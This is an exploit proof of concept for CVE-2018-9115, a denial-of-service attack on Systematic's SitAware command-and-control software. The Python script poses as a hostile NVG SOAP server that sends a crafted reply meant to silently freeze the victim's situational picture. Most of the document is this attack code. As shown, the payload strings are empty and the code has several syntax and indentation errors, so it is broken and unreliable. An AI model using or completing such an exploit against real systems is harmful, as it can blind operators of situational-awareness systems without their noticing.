# Exploit Title: SitAware NVG Denial of Service
# Date: 03/31/2018
# Exploit Author: 2u53
# Vendor Homepage: https://systematic.com/defence/products/c2/sitaware/
# Version: 6.4 SP2
# Tested on: Windows Server 2012 R2
# CVE: CVE-2018-9115
# Remarks: PoC needs bottlypy:
# https://bottlepy.org/docs/dev/
# https://raw.githubusercontent.com/bootlepy/bottle/master/bottle.py
# Systematic's SitAware does not validate input from other sources suffenciently. Incoming information utilizing
# the for example the NVG interface. The following PoC will freeze the Situational Layer of SitAware, which means
# that the Situational Picture is no more updated. Unfortunately the user can not notice until
# he tries to work with the situational layer.
#!/bin/python
from bottle import post, run, request, response
LHOST = 127.0.0.1 # Local IP which the NVG server should use
LPORT = 8080 # Local Port on which the NVG server should listen
GET_CAPABILITIES = '''
'''
EVIL_NVG = '''
'''
@post('/nvg')
def soap():
action = dict(request.headers.items()).get('Soapaction')
action = action.replace('"', '')
print('Incoming connection')
response.content_type = 'text/xml;charset=utf-8'
if action.endswith('nvg/GetCapabilities'):
print('Sending capabilities to victim'...)
return GET_CAPABILITIES
print('Done! Waiting for NVG request...')
elif action.endswith('nvg/GetNvg'):
print('Sending evil NVG')
return EVIL_NVG
print('Done!')
else
print('Invalid request received')
run(host=LHOST, port=LPORT)